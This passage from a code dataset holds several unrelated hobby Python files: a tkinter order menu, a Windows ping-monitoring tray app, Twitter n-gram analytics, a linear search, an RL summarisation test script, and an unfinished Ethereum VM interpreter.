procedure.updates user password on\r\n company´s user database\r\n '''\r\n def __init__(self):\r\n self.localDollar = 15.8\r\n # self.lastName = ''\r\n # self.phone = ''\r\n # self.address = ''\r\n\r\n def showMenu(self, mainForm):#two entry fields with labels. And some buttons are displayed\r\n checkTab = tk.Toplevel(mainForm)\r\n checkTab.geometry(\"250x250+120+120\")\r\n checkTab.title('Shape your order')\r\n prdct1 = tk.Entry(checkTab).grid(row = 0, column = 1)\r\n prdct1Descrip = tk.Label(checkTab, text = 'Hamburguesa').grid(row=0\\\r\n , column = 0)\r\n prdct1Price = tk.Label(checkTab, text = 2.5 * self.localDollar )\\\r\n .grid(row=0, column = 2)\r\n\r\n prdct2 = tk.Entry(checkTab)\r\n prdct2Descrip = tk.Label(checkTab, text = 'Muzzarella').grid(row=1\\\r\n , column = 0)\r\n prdct2Price = tk.Label(checkTab, text = 4 * self.localDollar )\\\r\n .grid(row=1, column = 2)\r\n okButton = tk.Button(checkTab)#add 'comman\r\n okButtonLabel = tk.Label(checkTab, text = 'Enter Order').grid(row=2)\r\n #prdct1.grid(row = 0, column = 1)\r\n prdct2.grid(row = 1, column = 1)\r\n okButton.grid(row = 2, column = 1)\r\n\r\n checkTab.mainloop()\r\n\r\n def resetACcount(self):\r\n #Define procedure for password reset. email or phon validation.\r\n pass\r\n","repo_name":"bologno/SimpleFastFood","sub_path":"menu_customer.py","file_name":"menu_customer.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2964992103","text":"import __main__\nimport os\nimport arbinrpc\nimport win32tools\nimport binascii\nimport sys\nimport ctypes\n\n# fixed code, do not change if possible.\n#####################################################################################################################################\n\n#app will allow only one instance if mutex_token is specified.\nmutex_token=\"wtl_ping\"\n\n#set to html's tag.\n_html_base=os.getcwd()+'\\\\dlls\\\\'\n\n#disable contextmenu and backspace to goback.\nextra_js='''''' % (_html_base)\n\n#switch pages\ndef _load_htmls(k):\n\ts_html=__main__.htmls[k].decode('utf-8').strip()\n\t__main__.js.set_html(extra_js+s_html)\n\n#menu support\ndef _show_menu(li,x=None, y=None):\n\tif x==None or y==None:\n\t\tpos = (ctypes.c_uint32*2)()\n\t\tctypes.windll.user32.GetCursorPos(ctypes.byref(pos))\n\t\tx,y=pos\n\tmenu = ctypes.windll.user32.CreatePopupMenu()\n\tfor n in range(len(li)):\n\t\tctypes.windll.user32.AppendMenuW(menu, 0x10, n+1, li[n])\n\thwn = __main__.exe.maindlg.get_main_hwnd()\n\tctypes.windll.user32.SetForegroundWindow(hwn)\n\tselect = ctypes.windll.user32.TrackPopupMenuEx(menu, 0x1a3, x, y, hwn, 0)\n\tctypes.windll.user32.DestroyMenu(menu)\n\tif select == 0:\n\t\treturn ''\n\treturn li[select-1]\n\n# the template of upgrade function.\ndef _upgrade():\n\treturn#todo\n\tfn='.\\\\dlls\\\\testabi.pyd'\n\tcrc=binascii.crc32(open(fn,'rb').read())\n\tdat=cln.get_update(crc)\n\tif dat:\n\t\topen(fn,'wb').write(dat)\n\t\t__main__.msgbox('已更新软件版本，即将重新打开本软件！')\n\t\twin32tools.shell_execute(sys.argv[0],0,0)\n\t\texit()\n\n#set autorun in registry,specify item name by 'name',set if enable else delete.\ndef _set_autorun(name,enable):\n\timport win32api,win32con,sys,os\n\tmk=win32con.HKEY_LOCAL_MACHINE\n\tsk='SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run'\n\tfn=sys.argv[0]\n\tif '\\\\' not in fn:\n\t\tfn=os.getcwd()+'\\\\'+fn\n\tk=win32api.RegOpenKey(mk,sk,0,win32con.KEY_ALL_ACCESS)\n\tif enable:\n\t\twin32api.RegSetValueEx(k,name,0,win32con.REG_SZ,fn)\n\telse:\n\t\twin32api.RegDeleteValue(k,name)\n\n#called when the top html ready. Use as OnInitiaDialog().\ndef OnHtmlReady():\n\t_load_htmls('0.html')\n\t__main__.exe.maindlg.set_timer(1000,1)\n\t__main__.exe.maindlg.set_tray('网络运行监测终端',1)\n#\t__main__.exe.maindlg.set_hotkey(2,49,1)\n\n# define _on_timer() yourself below.\ndef OnTimer():\n\t_id=__main__.stack['timer']\n\t_on_timer(_id)\n\n# define _on_hotkey() yourself below.\ndef OnHotkey():\n\t_id=__main__.stack['hotkey']\n\t_on_hotkey(_id)\n\t#__main__.js.alert(['hotkey'],_id)\n\n# define _on_tray() yourself below.\n# tp: 'l_down' 'l_dbclk' 'r_down' 'r_dbclk'\ndef OnTray(tp):\n\t_on_tray(tp)\n\nallow_close=False\ndef OnClose():\n\tif allow_close:\n\t\treturn 0\n\t__main__.exe.maindlg.show(0)\n\treturn 1\n\n\n#####################################################################################################################################\n\n#load settings.\nimport pickle\ntry:\n\tnames=pickle.load(open('ip.p','rb'))\nexcept:\n\tnames=[['','',0,0] for x in range(8)]\ncur_set=0\n\n#ping handler\nimport ping\ndef on_ping_echo(para):\n\ttm=para[1]\n\tif tm>1:\n\t\ttm=1\n\tfor x in names:\n\t\tif x[1]==para[0]:\n\t\t\tx[2]=tm\npn=ping.CPing(8,on_ping_echo,0,0)\n\n#beep routine\nfrom winsound import Beep\nimport time\nimport threading\nneed_beep=0\ndef beep_loop():\n\tglobal need_beep\n\twhile 1:\n\t\tif need_beep:\n\t\t\tBeep(3000,1000)\n\t\telse:\n\t\t\ttime.sleep(1)\nthd_beep=threading.Thread(target=beep_loop)\nthd_beep.start()\n\ndef prepare_value(nm,ip,tm,alm):\n\tglobal need_beep\n\twidth=int((1-tm)*100)\n\tp_color='#f80303'\n\tif(width>25):p_color='#f87103'\n\tif(width>50):p_color='#f8f403'\n\tif(width>75):p_color='#17f803'\n\twidth='%d%%'%(width)\n\n\talm_con='无'\n\tif alm==1:alm_con='断网'\n\tif alm==-1:alm_con='联网'\n\ttxt='%s [%s] 警报条件：%s 响应时间：%f' %(nm,ip,alm_con,tm)\n\tt_color='#000000'\n\tif ( (tm==1 and alm==1) or (tm<1 and alm==-1) ):\n\t\tt_color='#f80303'\n\t\tneed_beep=1\n\treturn [width,p_color,txt,t_color]\n\n\n\ndef _on_timer(_id):\n\tglobal need_beep\n\tneed_beep=0\n\tvls=[ prepare_value(*x) for x in names]\n\t#__main__.msgbox(vls)\n\t__main__.js.ifrf.setvalue(vls)\n\tfor x in names:\n\t\tx[2]=1\n\t\tif x[1]:\n\t\t\tpn.send_ping(x[1])\n\ndef f0_get_values():\n\treturn [ prepare_value(*x) for x in names]\n\ndef f0_set_name_ip(x):\n\tglobal cur_set\n\tcur_set=x\n\t_load_htmls('1.html')\n\ndef f1_set_name_ip(nm,ip,cond):\n\tif nm!=0:\n\t\tname=names[cur_set]\n\t\tname[0]=nm\n\t\tname[1]=ip\n\t\tname[3]=int(cond)\n\t_load_htmls('0.html')\n\tpickle.dump(names,open('ip.p','wb'))\n\ndef f1_get_name_ip():\n\treturn names[cur_set]\n\n\n\ndef _on_tray(tp):\n\tglobal allow_close\n\tif tp=='l_dbclk':\n\t\t__main__.exe.maindlg.show(1)\n\tif tp=='r_down':\n\t\tsel = _show_menu(['主窗口', '退出'])\n\t\tif sel=='退出':\n\t\t\tallow_close=True\n\t\t\t__main__.exe.maindlg.close_wnd()\n\t\tif sel=='主窗口':\n\t\t\t__main__.exe.maindlg.show(1)\n\n","repo_name":"bbsdkjdx/wtl_client","sub_path":"Release/app package -ping/autorun.py","file_name":"autorun.py","file_ext":"py","file_size_in_byte":4934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30215205896","text":"import os\r\nimport pandas as pd\r\n\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\n\r\npd.options.mode.chained_assignment = None\r\n\r\n# Global variables\r\nfileTweets = 'Data Collection\\\\Tweets.csv'\r\nfileTweetTopics = 'Data Collection\\\\Tweet Topics.csv'\r\nfileHashtags = 'Data Collection\\\\Hashtags.csv'\r\nfileHashtagList = 'Data Collection\\\\Hashtag Lists.csv'\r\nfileMentions = 'Data Collection\\\\Mentions.csv'\r\nfileMentionList = 'Data Collection\\\\Mention Lists.csv'\r\n\r\n\r\n# Collect and format data from CSVs for use in analysis functions\r\ndef collectData():\r\n # Import Tweet data\r\n dfTweets = pd.read_csv(fileTweets)\r\n dfTweets['Content'] = dfTweets['Content'].fillna('').dropna()\r\n dfTweets['Hashtags'] = dfTweets['Hashtags'].fillna('').dropna()\r\n dfTweets['Mentioned Usernames'] = dfTweets['Mentioned Usernames'].fillna('').dropna()\r\n dfTweets['Mentioned Display Names'] = dfTweets['Mentioned Display Names'].fillna('').dropna()\r\n\r\n # Import Tweet topic data\r\n dfTweetTopics = pd.read_csv(fileTweetTopics)\r\n dfTweets['Content'] = dfTweets['Content'].fillna('').dropna()\r\n dfTweets['Hashtags'] = dfTweets['Hashtags'].fillna('').dropna()\r\n dfTweets['Mentioned Usernames'] = dfTweets['Mentioned Usernames'].fillna('').dropna()\r\n dfTweets['Mentioned Display Names'] = dfTweets['Mentioned Display Names'].fillna('').dropna()\r\n\r\n # Import Hashtag data\r\n dfHashtags = pd.read_csv(fileHashtags)\r\n dfHashtags['Hashtags'] = dfHashtags['Hashtags'].fillna('').dropna()\r\n\r\n # Import Hashtag lists data\r\n dfHashtagLists = pd.read_csv(fileHashtagList)\r\n dfHashtagLists['Hashtags'] = dfHashtagLists['Hashtags'].fillna('').dropna()\r\n\r\n # Import Mention data\r\n dfMentions = pd.read_csv(fileMentions)\r\n dfMentions['Username'] = dfMentions['Username'].fillna('').dropna()\r\n dfMentions['Display Name'] = dfMentions['Display Name'].fillna('').dropna()\r\n\r\n # Import Mention lists data\r\n dfMentionLists = pd.read_csv(fileMentionList)\r\n dfMentionLists['Username'] = dfMentionLists['Username'].fillna('').dropna()\r\n dfMentionLists['Display Name'] = dfMentionLists['Display Name'].fillna('').dropna()\r\n\r\n return dfTweets, dfTweetTopics, dfHashtags, dfHashtagLists, dfMentions, dfMentionLists\r\n\r\n\r\n# Get the most used [top] words, with a min and max length of ngram_range = (min, max)\r\ndef getTopWords(wordList, ngram_range = (1, 1), top = 20, firstword = '', exclusions = []):\r\n c = CountVectorizer(ngram_range = ngram_range)\r\n X = c.fit_transform(wordList)\r\n words = pd.DataFrame(X.sum(axis = 0), columns = c.get_feature_names_out()).T.sort_values(0, ascending = False).reset_index()\r\n words = words[~words['index'].isin(exclusions)]\r\n results = words[words['index'].apply(lambda x: firstword in x)].head(top)\r\n return results\r\n\r\n\r\n# Count the instances of words with a min and max length of ngram_range = (min, max)\r\ndef getWordCounts(wordList, ngram_range = (1, 1)):\r\n c = CountVectorizer(ngram_range = ngram_range)\r\n X = c.fit_transform(wordList)\r\n words = pd.DataFrame(X.sum(axis = 0), columns = c.get_feature_names_out()).T.sort_values(0, ascending = False).reset_index()\r\n words = words[words[0] > 1]\r\n return words\r\n\r\n\r\n# Master function for analytics\r\ndef processBaseAnalysis():\r\n # dfTweets keeps Tweets in the [Content] column, and lists of mentions and hashtags in [Mentioned Usernames], [Mentioned Display Names], [Hashtags] (space-seperated)\r\n # dfHashtags keeps each Tweet's hashtags in the same cell\r\n # dfHashtagLists splits each Tweet's hashtags into a seperate row\r\n # dfMentions keeps each Tweet's mention in the same cell\r\n # dfMentionLists splits each Tweet's mentions into a seperate row\r\n\r\n dfTweets, dfTweetTopics, dfHashtags, dfHashtagLists, dfMentions, dfMentionLists = collectData()\r\n pbiPath = 'Data Collection\\\\Summary data\\\\'\r\n\r\n # Define the min and max length of each of the 'grams\r\n nGram = {\r\n 'unigram': (1, 1),\r\n 'bigram': (2, 2),\r\n 'trigram': (3, 3)\r\n }\r\n\r\n # Generate monthly totals for unigrams, bigrams, and trigrams and output to CSVs\r\n cols = ['Phrase', 'Count', 'Month']\r\n dateList = dfTweets['Month'].unique()\r\n dateList = [dL for dL in dateList if not dL.startswith('2022')]\r\n for n in nGram:\r\n topTweets = pd.DataFrame(columns = cols)\r\n topHashtags = pd.DataFrame(columns = cols)\r\n topMentions = pd.DataFrame(columns = cols)\r\n for d in dateList:\r\n topTweets_sub = getWordCounts(dfTweets['Content'][dfTweets['Month'] == d], ngram_range = nGram[n]).rename(columns = {'index': 'Phrase', 0: 'Count'})\r\n topTweets_sub['Month'] = d\r\n topTweets = topTweets.append(topTweets_sub)\r\n\r\n topHashtags_sub = getWordCounts(dfHashtags['Hashtags'][dfHashtags['Month'] == d], ngram_range = nGram[n]).rename(columns = {'index': 'Phrase', 0: 'Count'})\r\n topHashtags_sub['Month'] = d\r\n topHashtags = topHashtags.append(topHashtags_sub)\r\n\r\n topMentions_sub = getWordCounts(dfMentions['Username'][dfMentions['Month'] == d], ngram_range = nGram[n]).rename(columns = {'index': 'Phrase', 0: 'Count'})\r\n topMentions_sub['Month'] = d\r\n topMentions = topMentions.append(topMentions_sub)\r\n\r\n topTweets.to_csv('{}\\\\n-grams\\\\tweet {}s.csv'.format(pbiPath, n), index = False)\r\n topHashtags.to_csv('{}\\\\n-grams\\\\hashtag {}s.csv'.format(pbiPath, n), index = False)\r\n topMentions.to_csv('{}\\\\n-grams\\\\mention {}s.csv'.format(pbiPath, n), index = False)\r\n\r\n # List files for unigram, bigram, and trigram CSVs\r\n inputFilePath = pbiPath + 'n-grams\\\\'\r\n fileList = []\r\n for path, subdirs, files in os.walk(inputFilePath):\r\n for name in files:\r\n fileList.append(os.path.join(path, name))\r\n\r\n # Collate the unigram, bigram, and trigram CSVs into one CSV\r\n dfCollated = pd.DataFrame(columns = cols)\r\n for inputFile in fileList:\r\n fileName = inputFile[inputFile.rfind('\\\\') + 1:-4]\r\n category = fileName.split(' ')[0].capitalize()\r\n nGram = fileName.split(' ')[1].capitalize()\r\n\r\n df = pd.read_csv(inputFile)\r\n df['Category'] = category\r\n df['n-gram Type'] = nGram\r\n\r\n dfCollated = dfCollated.append(df)\r\n\r\n dfCollated.to_csv('{}\\\\Data model tables\\\\collated ngrams.csv'.format(pbiPath), index = False)\r\n\r\n # Output CSVs for mentions and hashtags for PBI reporting\r\n dfTweetTopics.drop(columns = ['Month', 'Mentioned Usernames', 'Mentioned Display Names', 'Hashtags']).to_csv('{}\\\\Data model tables\\\\tweets.csv'.format(pbiPath), index = False)\r\n dfHashtagLists[['ID', 'Hashtags']].to_csv('{}\\\\Data model tables\\\\hashtags.csv'.format(pbiPath), index = False)\r\n dfMentionLists[['ID', 'Username', 'Display Name']].to_csv('{}\\\\Data model tables\\\\mentions.csv'.format(pbiPath), index = False)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n processBaseAnalysis()","repo_name":"KadinSchultz/DFV-Twitter-Analysis","sub_path":"basicAnalytics.py","file_name":"basicAnalytics.py","file_ext":"py","file_size_in_byte":6960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22680629037","text":"\"\"\"\nThis module implements some functions based on linear search algo\n\"\"\"\nfrom typing import List\n\n\ndef min_search(arr: List[int]) -> int:\n \"\"\"\n Функция для поиска минимума в массиве\n\n :param arr: Массив целых чисел\n :return: Индекс первого вхождения элемента в массиве\n \"\"\"\n #Проверяем ,что массив не пустой\n if len(arr) == 0:\n raise ValueError(\"Empty array\")\n #Допускаем, что первый элемент минимальный\n min_item = arr[0]\n #Задаем счетчик индекса для первого элемента\n item_index = 0\n #Записываем индекс минимального элемента\n min_item_index = item_index\n for i in arr:\n if min_item > i:\n min_item = i\n min_item_index = item_index\n item_index +=1\n return min_item_index\n\n\nif __name__ == '__main__':\n list_with_data= [1, 25, -2, 34, 10, -42, -3] #Ищем минимум\n print(list_with_data)\n empty_list = [] #Проверяем с пустым списком\n print(min_search(empty_list))","repo_name":"KirillAnB/P22.02.2023","sub_path":"it_line_algo.py","file_name":"it_line_algo.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"13329271581","text":"import numpy as np\nfrom copy import deepcopy\nfrom matplotlib import pyplot as plt\nfrom rlex.abstract_extraction import Params\nfrom rlex.rl_extraction import PolicyGradientExtractor, RESULTS\nfrom rlex.oracle_extraction import Lead3Summarizer, GreedyOracleSummarizer, RandomSummarizer\nfrom rlex.load_data import get_samples\nfrom rlex.helpers import PATH_TO_RESULTS, scores_to_str\n\nnp.random.seed(1917)\n\ndef store_ex_result(score_holder, verbose=False):\n if verbose:\n print(ex)\n print('{} results:'.format(model.name))\n for key, res in ex.rouge_res.items():\n if verbose:\n print('\\t{}: {}'.format(key, scores_to_str(res)))\n score_holder[model.name][key].append(res['r'])\n\ndef print_model_score_res(score_holder):\n for name, all_scores in score_holder.items():\n print('\\n{} ROUGE Recall scores:'.format(name))\n for key, scores in all_scores.items():\n print('\\t{}: mean = {:5.3f}, std = {:5.3f}'.format(\n key, np.mean(scores), np.std(scores),\n ))\n\nif __name__ == '__main__':\n # get an article\n CLEAN_ARTICLES = True\n outdir = ''.join([PATH_TO_RESULTS,\n 'clean_' if CLEAN_ARTICLES else 'dirty_',\n 'extrs/'])\n\n models = [RandomSummarizer(1848), Lead3Summarizer(), GreedyOracleSummarizer('mean')]\n test_params = [\n Params(gamma=1, v_lr=0.05, p_lr=0.15, use_baseline=True, update_only_last=True),\n ]\n models.extend(PolicyGradientExtractor(p) for p in test_params)\n train_article_scores = {m.name: {'rouge-1': [],\n 'rouge-2': [],\n 'rouge-l': [],\n 'mean': [] } for m in models}\n new_articles_scores = deepcopy(train_article_scores)\n\n articles = get_samples(clean=CLEAN_ARTICLES)\n END_ART_IDX = 200\n TRAIN_ARTICLES = articles[0: END_ART_IDX]\n PLOT = True\n SINGLE_ARTICLE_TRAINING = False\n BATCH_ARTICLE_TRAINING = True\n VERBOSE = False\n BATCH_MEAN = True\n\n features = {'pca_features': 1000, 'tfidf_max_features': 5000}\n\n # test all models\n for i, model in enumerate(models):\n\n # set features\n if model.is_learner():\n print('Feature extraction...')\n model.set_features(articles, **features) # extract from ALL articles®\n\n # batch article training\n if BATCH_ARTICLE_TRAINING:\n if model.is_learner():\n print('Big batch training...')\n results = model.train_on_batch_articles(500,\n articles=TRAIN_ARTICLES,\n track_greedy=PLOT,\n shuffle=False,\n batch_mean=BATCH_MEAN)\n if PLOT:\n tests = [RESULTS.returns, RESULTS.greedy_scores]\n tests = [f'{key}-mean' for key in tests]\n lines = ['b--', 'r--', 'k--', 'g-']\n for key, line in zip(tests, lines):\n plt.figure()\n plt.title('{} -- batch training {}'.format(key, 'BM' if BATCH_MEAN else ''))\n x = list(range(len(results[key])))\n plt.plot(x, results[key], line)\n plt.xlabel('Training episode number')\n plt.show()\n\n for j, a in enumerate(TRAIN_ARTICLES):\n ex = model.extract_summary(a)\n a.add_extraction_pred(model.name, ex)\n store_ex_result(train_article_scores, VERBOSE)\n\n # SINGLE ARTICLE TESTING\n elif SINGLE_ARTICLE_TRAINING:\n for j, a in enumerate(TRAIN_ARTICLES):\n if model.is_learner(): # then we r doing RL, train first\n print('Training...')\n sents, train_res = model.train_on_article(j, 1000, store_all_changes=PLOT)\n if PLOT:\n tests = [RESULTS.w_pgr, RESULTS.w_vpi, RESULTS.policies]\n tests += [RESULTS.returns, RESULTS.greedy_scores]\n lines = ['b--', 'r--', 'k--', 'g-']\n for key, line in zip(tests, lines):\n values = []\n if key == RESULTS.returns or key == RESULTS.greedy_scores:\n values = train_res[key]\n else:\n w_ot = train_res[key] # weights over time\n for widx in range(1, len(w_ot)):\n values.append(np.linalg.norm(w_ot[widx] - w_ot[widx-1]))\n plt.figure()\n plt.title('{} -- article {}'.format(key, j))\n x = list(range(len(values)))\n plt.plot(x, values, line)\n plt.xlabel('Episode number')\n plt.show()\n\n policy = train_res[RESULTS.policies][-1].reshape(-1, 11)\n plt.figure()\n plt.title('Last Policy')\n plt.imshow(policy, cmap='hot')\n plt.show()\n print('Max probability: {:2.5f}'.format(np.max(policy)))\n print('Min probability: {:2.5f}'.format(np.min(policy)))\n\n ex = model.extract_summary(a)\n a.add_extraction_pred(model.name, ex)\n store_ex_result(train_article_scores, VERBOSE)\n\n # print full agglomerated results\n\n print('\\n\\nRESULTS ON TRAINING ARTICLES:')\n print_model_score_res(train_article_scores)\n for a in TRAIN_ARTICLES:\n a.serialize_extr_results(PATH_TO_RESULTS + 'train_arts/')\n\n print('\\n\\nRESULTS ON VALIDATION ARTICLES:')\n for a in articles[END_ART_IDX:]:\n for model in models:\n ex = model.extract_summary(a)\n for key, scores in ex.rouge_res.items():\n store_ex_result(new_articles_scores)\n a.add_extraction_pred(model.name, ex)\n a.serialize_extr_results(PATH_TO_RESULTS + 'test_arts/')\n print_model_score_res(new_articles_scores)\n\n","repo_name":"kiankd/rl_extractive","sub_path":"rlex/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":6333,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"12536461405","text":"import binascii\n\nfrom eth_hash.auto import keccak\n\nUINT_256_MAX = 2**256 - 1\nUINT_256_CEILING = 2**256\nUINT_255_MAX = 2**255 - 1\nUINT_255_CEILING = 2**255\n\n# reference to https://ethervm.io/\nclass VM:\n def __init__(self, state, msg) -> None:\n self.msg = msg\n self.state = state\n code = state[self.msg['address']]['code']\n if type(code) is bytes:\n self.code = code\n else:\n self.code = binascii.unhexlify(code.replace('0x', ''))\n self.pc = 0\n self.memory = []\n self.stack = []\n\n def alloc(self, size):\n if len(self.memory) < size:\n for i in range(size - len(self.memory)):\n self.memory.append(0x00)\n\n def step(self):\n print('------')\n print('Pc:', self.pc, 'Opcode:', hex(self.code[self.pc]))\n # print('Stack before:')\n # for i in self.stack:\n # print('', binascii.hexlify(i))\n # print('Mem before:', self.memory)\n\n if self.code[self.pc] == 0x00: # STOP\n print('STOP')\n return\n\n elif self.code[self.pc] == 0x01: # ADD\n '''\n branch action :\n for exec the \"ADD\" op\n example : 0x03 0x02 ADD => 0x05\n '''\n print('ADD')\n # pop the op number\n last_bytes = self.stack.pop() # the last item\n first_bytes = self.stack.pop()\n\n # the endian use the \"big\"\n last_num = int.from_bytes(last_bytes, 'big', signed=True)# the signed must set True for the negative number\n first_num = int.from_bytes(first_bytes, 'big', signed=True)\n\n # computer the result ! note the value 32 is for make the bytes len == 32\n result = (first_num + last_num).to_bytes(32, 'big', signed=True)# the signed must set True for the negative number\n\n # push to the stack (the result)\n self.stack.append(result)\n self.pc += 1\n \n elif self.code[self.pc] == 0x02: # MUL\n pass\n\n elif self.code[self.pc] == 0x03: # SUB\n '''\n branch action :\n for exec the \"SUB\" op\n example : 0x03 0x02 SUB => 0x01\n '''\n print('SUB')\n # pop the op number\n a = self.stack.pop() # the last item\n left = int.from_bytes(a, 'big')\n b = self.stack.pop()\n right = int.from_bytes(b, 'big')\n\n result = (left - right).to_bytes(32, 'big')\n\n # push to the stack (the result)\n self.stack.append(result)\n self.pc += 1\n\n elif self.code[self.pc] == 0x04: # DIV\n a = self.stack.pop()\n left = int.from_bytes(a, 'big')\n b = self.stack.pop()\n right = int.from_bytes(b, 'big')\n result = int(left/right).to_bytes(32, 'big')\n self.stack.append(result)\n self.pc += 1\n\n elif self.code[self.pc] == 0x05: # SDIV\n pass\n\n elif self.code[self.pc] == 0x06: # MOD\n pass\n\n elif self.code[self.pc] == 0x07: # SMOD\n pass\n\n elif self.code[self.pc] == 0x08: # ADDMOD\n pass\n\n elif self.code[self.pc] == 0x09: # MULMOD\n pass\n\n elif self.code[self.pc] == 0x0a: # EXP\n pass\n\n elif self.code[self.pc] == 0x0b: # SIGNEXTEND\n pass\n\n elif self.code[self.pc] == 0x10: # LT\n print('LT')\n a = self.stack.pop()\n left = int.from_bytes(a, 'big')\n b = self.stack.pop()\n right = int.from_bytes(b, 'big')\n self.stack.append(bytes([0]*31+[left < right]))\n self.pc += 1\n\n elif self.code[self.pc] == 0x11: # GT\n print('GT')\n a = self.stack.pop()\n left = int.from_bytes(a, 'big')\n b = self.stack.pop()\n right = int.from_bytes(b, 'big')\n self.stack.append(bytes([0]*31+[left > right]))\n self.pc += 1\n\n elif self.code[self.pc] == 0x12: # SLT\n print('SLT')\n a = self.stack.pop()\n left = int.from_bytes(a, 'big')\n if left > UINT_255_MAX:\n return left - UINT_256_CEILING\n b = self.stack.pop()\n right = int.from_bytes(b, 'big')\n if right > UINT_255_MAX:\n return right - UINT_256_CEILING\n print(left, right)\n self.stack.append(bytes([0]*31+[left < right]))\n self.pc += 1\n\n elif self.code[self.pc] == 0x13: # SGT\n print('SGT')\n a = self.stack.pop()\n left = int.from_bytes(a, 'big')\n if left > UINT_255_MAX:\n return left - UINT_256_CEILING\n b = self.stack.pop()\n right = int.from_bytes(b, 'big')\n if right > UINT_255_MAX:\n return right - UINT_256_CEILING\n self.stack.append(bytes([0]*31+[left > right]))\n self.pc += 1\n\n elif self.code[self.pc] == 0x14: # EQ\n print('EQ')\n b = self.stack.pop()\n a = self.stack.pop()\n self.stack.append(bytes([0]*31+[a == b]))\n self.pc += 1\n\n elif self.code[self.pc] == 0x15: # ISZERO\n print('ISZERO')\n bs = self.stack.pop()\n result = 1\n for b in bs:\n if b > 0:\n result = 0\n break\n self.stack.append(result.to_bytes(32, 'big'))\n self.pc += 1\n\n elif self.code[self.pc] == 0x16: # AND\n b = self.stack.pop()\n a = self.stack.pop()\n\n result = []\n for i in range(32):\n result.append(b[i] & a[i])\n self.stack.append(bytes(result))\n self.pc += 1\n\n elif self.code[self.pc] == 0x17: # OR\n pass\n\n elif self.code[self.pc] == 0x18: # XOR\n pass\n\n elif self.code[self.pc] == 0x19: # NOT\n pass\n\n elif self.code[self.pc] == 0x1a: # BYTE\n pass\n\n elif self.code[self.pc] == 0x1b: # SHL\n print('SHL')\n i = self.stack.pop()\n shift = int.from_bytes(i, 'big')\n print('shift', shift)\n i = self.stack.pop()\n value = int.from_bytes(i, 'big')\n print('value', value)\n if shift >= 256:\n result = 0\n else:\n result = value << shift\n self.stack.append(result.to_bytes(32, 'big'))\n self.pc += 1\n\n elif self.code[self.pc] == 0x1c: # SHR\n print('SHR')\n i = self.stack.pop()\n shift = int.from_bytes(i, 'big')\n print('shift', shift)\n i = self.stack.pop()\n value = int.from_bytes(i, 'big')\n print('value', value)\n if shift >= 256:\n result = 0\n else:\n result = value >> shift\n self.stack.append(result.to_bytes(32, 'big'))\n self.pc += 1\n\n elif self.code[self.pc] == 0x1d: # SAR\n print('SAR')\n\n elif self.code[self.pc] == 0x20: # SHA3\n print('SHA3')\n offset = self.stack.pop()\n mc = int.from_bytes(offset, 'big')\n length = self.stack.pop()\n l = int.from_bytes(length, 'big')\n data = bytes(self.memory[mc:mc+l])\n hash = keccak(data)\n self.stack.append(hash)\n print('SHA3', data, hash)\n self.pc += 1\n\n elif self.code[self.pc] == 0x30: # ADDRESS\n print('ADDRESS')\n self.stack.append(self.msg['address'])\n self.pc += 1\n\n elif self.code[self.pc] == 0x31: # BALANCE\n print('BALANCE')\n address = self.stack.pop()\n self.stack.append(self.state[address]['balance'].to_bytes(32, 'big'))\n self.pc += 1\n\n elif self.code[self.pc] == 0x32: # ORIGIN\n print('ORIGIN')\n self.stack.append(self.msg['origin'])\n self.pc += 1\n\n elif self.code[self.pc] == 0x33: # CALLER\n print('CALLER')\n self.stack.append(self.msg['sender'])\n self.pc += 1\n\n elif self.code[self.pc] == 0x34: # CALLVALUE\n print('CALLVALUE')\n self.stack.append(self.msg['value'].to_bytes(32, 'big'))\n self.pc += 1\n\n elif self.code[self.pc] == 0x35: # CALLDATALOAD\n print('CALLDATALOAD')\n i = self.stack.pop()\n mc = int.from_bytes(i, 'big')\n data = self.msg['data'][mc:mc+32]\n result = data+bytes([0]*(32-len(data)))\n self.stack.append(result)\n self.pc += 1\n\n elif self.code[self.pc] == 0x36: # CALLDATASIZE\n print('CALLDATASIZE')\n self.stack.append(len(self.msg['data']).to_bytes(32, 'big'))\n self.pc += 1\n\n\n elif self.code[self.pc] == 0x38: # CODESIZE\n print('CODESIZE')\n self.stack.append(len(self.code).to_bytes(32, 'big'))\n self.pc += 1\n\n elif self.code[self.pc] == 0x39: # CODECOPY\n print('CODECOPY')\n dest_offset = int.from_bytes(self.stack.pop(), 'big')\n length = int.from_bytes(self.stack.pop(), 'big')\n offset = int.from_bytes(self.stack.pop(), 'big')\n print(dest_offset, offset, length)\n # print(len(self.code[offset:offset+length]))\n\n self.alloc(dest_offset+length)\n for b in self.code[offset:offset+length]:\n self.memory[offset] = b\n offset += 1\n self.pc += 1\n\n elif self.code[self.pc] == 0x50: # POP\n print('POP')\n self.stack.pop()\n self.pc += 1\n\n elif self.code[self.pc] == 0x51: # MLOAD\n print('MLOAD')\n offset = self.stack.pop()\n mc = int.from_bytes(offset, 'big')\n data = bytes(self.memory[mc:mc+32])\n result = data+bytes([0]*(32-len(data)))\n self.stack.append(result)\n self.pc += 1\n\n elif self.code[self.pc] == 0x52: # MSTORE offset value\n print('MSTORE')\n offset = self.stack.pop()\n print('MSTORE offset', offset)\n value = self.stack.pop()\n print('MSTORE value', value)\n mc = int.from_bytes(offset, 'big')\n self.alloc(mc + 32)\n for b in value:\n self.memory[mc] = b\n mc += 1\n self.pc += 1\n\n elif self.code[self.pc] == 0x53: # MSTORE8 offset value\n print('MSTORE8')\n offset = self.stack.pop()\n value = self.stack.pop()\n mc = int.from_bytes(offset, 'big')\n self.alloc(mc + 1)\n self.memory[mc] = value[0]\n self.pc += 1\n\n elif self.code[self.pc] == 0x54: # SLOAD\n print('SLOAD')\n key = self.stack.pop()\n print(self.state[self.msg['address']]['storage'])\n value = self.state[self.msg['address']]['storage'][key]\n self.stack.append(value)\n self.pc += 1\n\n elif self.code[self.pc] == 0x55: # 